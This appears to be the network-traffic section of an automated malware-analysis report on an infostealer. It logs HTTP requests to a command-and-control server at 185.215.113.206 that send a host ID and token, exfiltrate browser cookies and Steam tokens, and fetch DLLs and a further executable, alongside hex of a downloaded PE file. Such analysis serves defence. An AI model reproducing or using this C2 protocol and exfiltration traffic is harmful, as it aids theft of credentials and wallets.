Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 13 Nov 2024 17:09:44 GMTContent-Type: application/octet-streamContent-Length: 1784832Last-Modified: Wed, 13 Nov 2024 17:05:35 GMTConnection: keep-aliveETag: "6734dc5f-1b3c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 90 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 68 00 00 04 00 00 a2 08 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 75 6d 68 61 77 74 6d 00 a0 19 00 00 e0 4e 00 00 a0 19 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 6c 75 63 6c 66 75 68 00 10 00 00 00 80 68 00 00 04 00 00 00 16 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 68 00 00 22 00 00 00 1a 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENX7wUC+MYl+R+dP6Ge+Ps/gAK2S4rAvLsS9lNlstWnrY2Ovw6/QYWUW40yWi3W2oq2TgmfD/F4rhcGc/Q3kxTRWn1J3nPhOAny4YuIpbKp/JxVo2IKfr0u2Ob+Xasi+8kVvlgcJFM/02j6m9rZf8SsufBGSnZuCNcAMbSRQwAt9ttIddTRQ/7dkFG7ZzhfDKlscCwPqu8roSfIr2wEDw126PJnTg8kgpdZV8FhO09Z9yZkJbvNRCuX40AaiKTP7/kep+t5XHG1Tp05wc6bODUUz8SiWkHpg7isRn5nplH5Pwj6qy8wfjiPn8r9T6Iz9u6hFIAE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1731517983593Host: self.events.data.microsoft.comContent-Length: 7973Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHDBAAECBFHJKFCFBFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 31 32 30 41 46 45 42 44 39 39 31 33 31 32 36 34 37 36 39 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 2d 2d 0d 0a Data Ascii: ------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="hwid"09120AFEBD991312647697------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="build"mars------CAEHDBAAECBFHJKFCFBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBAEBGHDAECBGDGCAKEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="message"browsers------ECBAEBGHDAECBGDGCAKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDAAAKJJDBGCBFCBGIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 2d 2d 0d 0a Data Ascii: ------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="message"plugins------CGIDAAAKJJDBGCBFCBGI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJKKECFIECAKECAFBGCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 2d 2d 0d 0a Data Ascii: ------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="message"fplugins------FHJKKECFIECAKECAFBGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHDAKFIJJKKEBGDBAAKHost: 185.215.113.206Content-Length: 6043Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHJEBKJEGHJKECAAKJKHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------BGHJEBKJEGHJKECAAKJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="file"------JJJDGIECFCAKKFHIIIJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFBAAFCGIEGDHIEBFIIHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDHDHJEBGHJKFIECBGCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 2d 2d 0d 0a Data Ascii: ------CGDHDHJEBGHJKFIECBGCContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------CGDHDHJEBGHJKFIECBGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGDHDHJEBGHJKFIECBGCContent-Disposition: form-data; name="file"------CGDHDHJEBGHJKFIECBGC--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFCFHJDBKKFHIEHIDGHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCAAAFCBFBAKFHJDBKJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="message"wallets------DGCAAAFCBFBAKFHJDBKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJKHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="message"files------EGCBAFCFIJJJECBGIIJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFBGHIDBGHJJKFHJDHCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 2d 2d 0d 0a Data Ascii: ------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="file"------CAFBGHIDBGHJJKFHJDHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAAECGHCBGCBFHIIDHIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 41 41 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------AAAAECGHCBGCBFHIIDHIContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------AAAAECGHCBGCBFHIIDHIContent-Disposition: form-data; name="message"ybncbhylepme------AAAAECGHCBGCBFHIIDHI--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
